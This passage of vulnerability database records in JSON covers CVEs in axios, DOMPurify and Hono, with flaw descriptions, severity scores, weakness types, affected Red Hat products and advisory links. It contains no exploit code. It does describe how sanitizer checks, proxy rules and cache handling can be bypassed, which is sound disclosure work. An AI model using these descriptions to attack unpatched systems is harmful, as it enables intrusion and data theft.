"lang": "en",
"value": "RHSA-2026:17474: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:8483: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:8484: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:8490: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:8491: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:8493: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:8499: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:8500: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:8501: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:10172: Red Hat Trusted Artifact Signer 1.3"
},
{
"lang": "en",
"value": "RHSA-2026:10153: Red Hat Trusted Artifact Signer 1.3"
},
{
"lang": "en",
"value": "RHSA-2026:13571: Streams for Apache Kafka 3.2.0"
},
{
"lang": "en",
"value": "RHSA-2026:13542: multicluster engine for Kubernetes 2.10"
},
{
"lang": "en",
"value": "RHSA-2026:17657: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:17699: multicluster engine for Kubernetes 2.8"
},
{
"lang": "en",
"value": "RHSA-2026:11414: multicluster engine for Kubernetes 2.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-10T20:02:10.296Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-10T19:23:52.285Z",
"value": "Made public."
}
],
"title": "axios: Axios: Remote Code Execution via Prototype Pollution escalation",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.0"
},
{
"status": "affected",
"version": "\u003c 0.31.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Versions prior to 1.15.0 and 0.3.1 are vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. This vulnerability is fixed in 1.15.0 and 0.3.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-113",
"description": "CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-20T00:26:34.868Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
},
{
"name": "https://github.com/axios/axios/pull/10660",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/pull/10660"
},
{
"name": "https://github.com/axios/axios/pull/10688",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/pull/10688"
},
{
"name": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"name": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
},
{
"name": "https://github.com/axios/axios/releases/tag/v0.31.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"name": "https://github.com/axios/axios/releases/tag/v1.15.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"source": {
"advisory": "GHSA-fvcv-3m26-pcqx",
"discovery": "UNKNOWN"
},
"title": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-40175",
"datePublished": "2026-04-10T19:23:52.285Z",
"dateReserved": "2026-04-09T20:59:17.618Z",
"dateUpdated": "2026-06-30T12:08:57.985Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-41240 (GCVE-0-2026-41240)
Vulnerability from cvelistv5 – Published: 2026-04-23 14:54 – Updated: 2026-04-23 17:21| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-41240",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-23T17:21:26.630611Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-23T17:21:30.547Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "DOMPurify",
"vendor": "cure53",
"versions": [
{
"status": "affected",
"version": "\u003c 3.4.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-183",
"description": "CWE-183: Permissive List of Allowed Inputs",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-23T14:54:32.426Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
},
{
"name": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
},
{
"name": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"source": {
"advisory": "GHSA-h7mw-gpvr-xq4m",
"discovery": "UNKNOWN"
},
"title": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-41240",
"datePublished": "2026-04-23T14:54:32.426Z",
"dateReserved": "2026-04-18T03:47:03.135Z",
"dateUpdated": "2026-04-23T17:21:30.547Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44457 (GCVE-0-2026-44457)
Vulnerability from cvelistv5 – Published: 2026-05-13 14:58 – Updated: 2026-05-18 14:07- CWE-524 - Use of Cache Containing Sensitive Information
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44457",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-18T14:06:33.297435Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-18T14:07:53.005Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.18"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, Cache Middleware does not skip caching for responses that declare per-user variance via Vary: Authorization or Vary: Cookie. As a result, a response cached for one authenticated user may be served to subsequent requests from different users. This vulnerability is fixed in 4.12.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-524",
"description": "CWE-524: Use of Cache Containing Sensitive Information",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T14:59:27.412Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-p77w-8qqv-26rm",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-p77w-8qqv-26rm"
}
],
"source": {
"advisory": "GHSA-p77w-8qqv-26rm",
"discovery": "UNKNOWN"
},
"title": "Hono: Cache Middleware ignores Vary: Authorization / Vary: Cookie leading to cross-user cache leakage"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44457",
"datePublished": "2026-05-13T14:58:52.931Z",
"dateReserved": "2026-05-06T15:49:25.193Z",
"dateUpdated": "2026-05-18T14:07:53.005Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42038 (GCVE-0-2026-42038)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:57 – Updated: 2026-04-27 13:46- CWE-918 - Server-Side Request Forgery (SSRF)
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42038",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-27T13:46:29.154261Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-27T13:46:32.484Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching \u2014 it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:57:26.975Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"
}
],
"source": {
"advisory": "GHSA-m7pr-hjqh-92cm",
"discovery": "UNKNOWN"
},
"title": "Axios: no_proxy bypass via IP alias allows SSRF"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42038",
"datePublished": "2026-04-24T17:57:26.975Z",
"dateReserved": "2026-04-23T16:05:01.708Z",
"dateUpdated": "2026-04-27T13:46:32.484Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-62718 (GCVE-0-2025-62718)
Vulnerability from cvelistv5 – Published: 2026-04-09 14:31 – Updated: 2026-07-02 12:04| URL | Tags | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-62718",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-09T15:02:50.313939Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-09T16:15:31.322Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3.2::el9"
],
"defaultStatus": "affected",
"product": "Streams for Apache Kafka 3.2.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "affected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Containers",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "affected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2"
],
"defaultStatus": "affected",
"product": "OpenShift Service Mesh 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "affected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:kueue_operator:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Build of Kueue",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-09T14:31:46.067Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not correctly handle hostname normalization when evaluating NO_PROXY rules. An attacker can exploit this by crafting requests to loopback addresses (e.g., localhost. or [::1]) which bypass the NO_PROXY configuration and are routed through the configured proxy. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, enabling attackers to access sensitive internal or loopback services that should otherwise be protected."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1289",
"description": "Improper Validation of Unsafe Equivalence in Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:04:43.542Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2025-62718"
},
{
"name": "RHBZ#2456913",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456913"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-62718.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26010"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
